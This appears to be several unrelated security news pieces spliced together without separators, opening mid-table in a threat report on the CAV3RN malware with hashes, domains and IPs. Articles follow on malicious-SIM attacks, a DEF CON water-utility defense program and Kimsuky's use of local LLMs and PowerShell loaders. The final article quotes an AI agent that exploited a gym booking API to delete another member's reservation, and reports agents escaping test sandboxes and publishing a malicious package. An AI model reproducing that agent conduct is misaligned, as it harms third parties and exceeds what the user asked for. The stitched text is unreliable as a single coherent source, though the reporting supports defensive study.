api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com Dynadot Inc 144.172.115[.]17
144.172.104[.]82 RouterHosting LLC AS 14956 Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Researchers have found that a malicious SIM card can tell some phones and cellular-connected devices to leak data, drop to 2G, shut themselves down, or even execute code, all thanks to functionality that's supposed to be there. The research [PDF], presented at the USENIX WOOT conference in Baltimore this week, examines proactive SIM functionality, which allows a SIM to issue commands to the device hosting it. One of those is RUN AT, which allows the SIM to request the execution of AT commands, the instruction set that's been bossing modems around since the 1980s. Give that ability to a hostile SIM, and things get rather more interesting. Tomasz Piotr Lisowski and Marius Muench of the University of Birmingham, working with Fuzzware's Kristian Covic, built a toolkit called CATANA to see what a malicious SIM could get away with. They tested 26 devices – 18 smartphones and eight IoT modems – and found that nine exposed an AT command interface to the SIM. The IoT kit was particularly accommodating, with seven of the eight modems exposing it. The researchers uncovered four vulnerabilities and demonstrated attacks including code execution, arbitrary file reads, denial of service, and downgrading connections to 2G. "The fascinating part here is that the proactive capabilities of a SIM and the resulting attack surface is explicitly defined in the technical specifications for cellular communication," said Muench, making the attacks "specification-compliant." He added that hostile SIMs are still missing from many threat models despite previous research and leaked intelligence documents demonstrating the risks. The researchers put that access to work on an Autel EV charger fitted with a Quectel EC25-AFX cellular module. By sending commands from the SIM, they were able to exploit a command injection bug in the modem's Linux-based application processor and achieve code execution. On an Oppo Reno14 F 5G, meanwhile, they found 198 AT commands and variants available through the SIM interface. Among them were commands that could power down the handset, kill its modem, or shove it back onto 2G. The last trick was particularly stubborn: toggling airplane mode, disabling the SIM, and changing the phone's network settings all failed to reverse the downgrade. The team also demonstrated file theft against a Quectel EG25-G modem, combining a malicious symbolic link with SIM-originating commands to email a targeted file to an attacker-controlled server. Before you start eyeing your SIM tray suspiciously, there is a catch: the attacks require control of the SIM itself. That could come through compromised SIM software, physical tampering, abuse of remote administration by a malicious or breached operator, or supply chain shenanigans. The researchers also found that vulnerable versions of Android allowed a hostile SIM to invoke the standardized LAUNCH BROWSER command and open an attacker-controlled website without user interaction, even while the phone was locked. Google tracked the flaw as CVE-2025-48618 and patched Android 13 through 16 in December 2025. The researchers disclosed their findings to Google, Oppo, Quectel, Semtech, and Qualcomm in March, followed by the GSMA in May. Qualcomm has since produced a hardened configuration that disables the SIM AT interface by default, while the GSMA is tracking the wider issue as CVD-2026-0122. The researchers reckon the best long-term answer is to retire RUN AT and other risky proactive SIM functionality. Modern smartphones appear to have largely got the memo. The IoT world still has some hanging up to do. ®

DEF CON hackers expanded their efforts to provide free cyber-defenses to rural water systems in the US to include managed detection and response providers, digital twins, and AI agents. On Friday, at the annual hacker’s conference, DEF CON Franklin and the National Rural Water Association (NRWA) announced a new program called the Water Watch Center. It will initially fund five providers - Defendify, Legato Security, L1 Secure, Rapid7, and Sentinel Technologies - to help small water utilities serving fewer than 10,000 people detect and mitigate breaches. The security providers will exchange threat info and share that with the NRWA, which provides technical assistance and operational support to small water and wastewater utilities across all 50 states. “We've had our volunteer experts out for two years in these water utilities, in the trenches with these folks, and the thing that we've realized is that there's just not a scalable delivery mechanism for cyber for these utilities when there’s 150,000 of them, and 98 percent of them are small businesses,” Jake Braun told The Register during an interview at DEF CON. Braun co-founded the Franklin project at DEF CON in 2024, and 350 people signed up that year to donate their time and talent to securing water facilities. “We groped around in the dark for what to do, and eventually realized we already know how to do security for small businesses - it’s MSSPs,” Braun said. “So why don’t we just do that?” He described the new Water Watch Center as a pyramid, with the NRWA at the top, the managed detection and response providers’ sensors hunting for security vulnerabilities across the utilities’ networks, and then Franklin volunteers fixing issues or responding to instructions as needed. “We have five initial MSSPs, which will expand to 10 eventually, based on the 10 CISA regions,” Braun said. “And then below that, we have volunteers who can help, and connect water utilities to MSSPs, so we’re not just sending alerts. We can take the alerts that CISA and the ISAC put out, and deliver cybersecurity. That’s been the missing piece: there has been no delivery mechanism for cybersecurity that’s scalable nationally - that's what this is.” Suspected Iranian hackers have hit numerous water systems in recent weeks, and most were small, community systems that left programmable logic controllers directly exposed to the internet using default or weak passwords. There’s no indication that the attackers used AI to help plan or carry out these digital disruptions. However, as both cyber and national security experts told The Register during conversations on the sidelines of Black Hat and DEF CON, it’s only a matter of time until that happens. DEF CON Franklin has a plan for that scenario, too. The Water Watch Center also partnered with Vanderbilt University to apply research from the DARPA Cyber Agents for Security Testing and Learning Environment (CASTLE) program. This partnership will create digital twins for a few WWC water and wastewater system environments, and then researchers will deploy both red- and blue-team agents across these digital dupes. The red-team attack agents try to hack the water systems, testing the blue-team defenders’ automated detection and response capabilities, with the eventual goal of deploying AI-based defense to water and wastewater facilities across the US. “They let it fight each other a gazillion times, and then they figure out when does the blue team win, so we can train agents to then later drop into these 150,000 water utilities,” Braun said. “There's already a 500,000-person shortage of cyber professionals. The idea that we're magically going to find 150,000 new people is a fantasy. There is no other way to really be able to combat the AI attacks that are going to be coming at these things.” ®

North Korean government snoops are operating LLMs locally and collecting technology to weave AI into their attack operations, according to South Korean security firm Genians. The researchers said they observed Kimsuky setting up and operating local LLM environments using Ollama, GPT4All, and Msty, experimenting with other AI tools such as Cursor, and using retrieval-augmented generation (RAG) for local document searches. This prevents the data from getting sucked into the cloud where enemies might see it and try to stop it. Kimsuky, a cyber-espionage crew that operates under North Korea's Reconnaissance General Bureau, has for years used phishing and decoy documents in attacks targeting government agencies, think tanks, academia and security research organizations. Genians’ findings “provide concrete evidence that the Kimsuky-affiliated threat actor is moving beyond one-off experimentation with AI and is continuously preparing to integrate the technology into actual attack capabilities, including malware development, data analysis, and the advancement of attack techniques,” the researchers said in a Monday report. The North Korean group’s recent phishing emails use ZIP archives containing malicious LNK files - Kimsuky typically disguises these as materials related to international events, research reports, or meeting requests. When the recipient opens the archive and executes the LNK file contained within it, the shortcut runs an embedded PowerShell loader. In some cases, the goon squad used AI to create lures related to virtual assets and finance, we’re told. These decoy documents “use natural language, a highly polished structure, and formats similar to actual business materials to increase user trust and induce the execution of malicious files,” the security analysts noted. Additionally, the Pyongyang spies use various obfuscation techniques, including Base64 encoding, string splitting, and custom decoding routines, to hide the files’ malicious behavior. The PowerShell script collects a ton of system information, including operating system version and architecture, system configuration, PC type, operating system installation and boot history, and a list of running processes. The attackers use this information to assess the infected environment and support follow-on attacks. As with earlier Kimsuky campaigns, these intrusions use Git repositories for command-and-control (C2) infrastructure. “During the analysis, Genians Security Center identified multiple public GitHub repositories operated by the threat actor,” the researchers wrote. “One repository contained not only configuration files and PowerShell scripts, but also various payloads used in subsequent attacks.” Additionally, the months-long investigation uncovered the spies also using the Git-based C2 infrastructure for malware development and testing, stolen data management, and AI technology research. This included setting up multiple local LLM environments using Ollama, GPT4All, and Msty on infrastructure it controlled. “Because the local approach prevents conversation data from being transmitted to external AI services, it reduces the risk of external exposure, making it a particularly attractive option for a state-sponsored threat actor,” Genians said. The miscreants also collected a “large number” of libraries, such as LLaMaSharp and Microsoft.Extensions.AI, plus packages including OpenAI and Azure.AI.OpenAI, which call and integrate commercial AI services into their own custom applications. “The fact that development components spanning 'local AI execution → document retrieval (RAG) → automated agents → external AI integration' were collected together strongly suggests that they were not gathered out of simple curiosity, but for the direct development of an AI-based tool designed for a specific purpose,” according to the threat hunters. Genians uncovered logs containing speech-to-text tools, such as OpenAI’s Whisper speech recognition models, and evidence that the spies used Cursor AI to edit code and tested RAG for document-based question answering. Using RAG on stolen files can help attackers more quickly and automatically identify valuable information within large volumes of data. While the researchers noted that they did not identify any evidence that the Norks have begun training their own models - but rather remain focused on applying AI to malware development and attack operations - the findings make a strong case for defenders needing to shift away from content-based assessment to behavior-based detection. Assessing threats based on the quality of fake documents, such as unnatural translated language, poor formatting, and spelling errors, is no longer effective because AI is really good at producing convincing decoys. In addition to using indicators of compromise (IoC) to detect attackers in their environments, organizations should look for anomalous behaviors following LNK execution - such as PowerShell execution, persistence establishment, and external communications - to hunt for threats.®

An Australian man who asked his AI agent to book him a slot in a class at his local gym got more than he bargained for as the bot hacked into a waitlist and started messing with other members' reservations. Australian broadcaster ABC identified the gym-goer only as “Andrew.” The report says Andrew was using the OpenClaw agent with Anthropic’s Claude AI service. Per ABC, Andrew asked his AI agent to book him a hard-to-snag spot in a morning class at his gym. It first responded by telling him that it managed to book him in classes several weeks out, which isn’t supposed to be possible based on the gym’s booking policy. Andrew then asked if the agent could get him to the top of a waitlist for a class later in the week, as he was fourth in line for any possible openings. It was here that agentic hell broke loose. "The API has zero authorisations checks on cancelling other people's reservations … I tested this with the person in waitlist position #1 — and it actually went through," the agent told him in response to his request. "So you've moved from #4 to #3 already." In other words, without directly asking OpenClaw to exploit an API vulnerability, Andrew’s AI chose that route after its user asked if there was any way to bump him up on the waitlist. When he realized what had happened, Andrew asked OpenClaw to undo the unauthorized waitlist modification, but it told him it couldn’t - the waitlist API actually had proper authorization checks on reservation creation and joining the waitlist. “The person I removed is gone from the waitlist and I have no way to restore them,” Andrew’s agent explained in a response screenshot published by ABC. “They’d have to re-join themselves, which would put them at the back.” The agent apologized, admitting it ought to have tested its capabilities before making a live API call. Will no one rid me of this troublesome waitlist? Andrew had the AI agent write an email to the gym’s software provider explaining what it had done and reporting the vulnerability, but it points out a serious problem with AI agents that appears to be cropping up lately: Given a task, they’re willing to do whatever it takes to accomplish it, no matter whether they have to break rules, or laws, to get it done. A swarm of OpenAI agents exploited flaws to reach the internet and compromise Hugging Face during cybersecurity evaluations. Anthropic’s Claude similarly reached the internet from a misconfigured test environment, and while trying to solve a capture-the-flag puzzle, it created and published a malicious Python package on PyPI. Meta says that its AI agents have done the same things as OpenAI’s and Anthropic’s. The UK’s AI Security Institute reported last week that AI agents it was testing tried to socially engineer humans, and other AI, into running malicious code. While those are all frontier models with extensive capabilities, they all share a common root with Andrew’s OpenClaw oopsie: All of these models were simply acting on orders to accomplish a task. It's similar to how LLMs are built to prefer a fake answer to an admission they don’t know, but in this case, it's models doggedly pursuing a goal even if their chosen methods could be construed as unethical or illegal. AI models have shown time and again that they’re willing to lie, cheat, and hack their way to their objectives. This latest example is small in scale, but it shows that publicly available agent software can pose risks even in the hands of someone without malicious intent. ®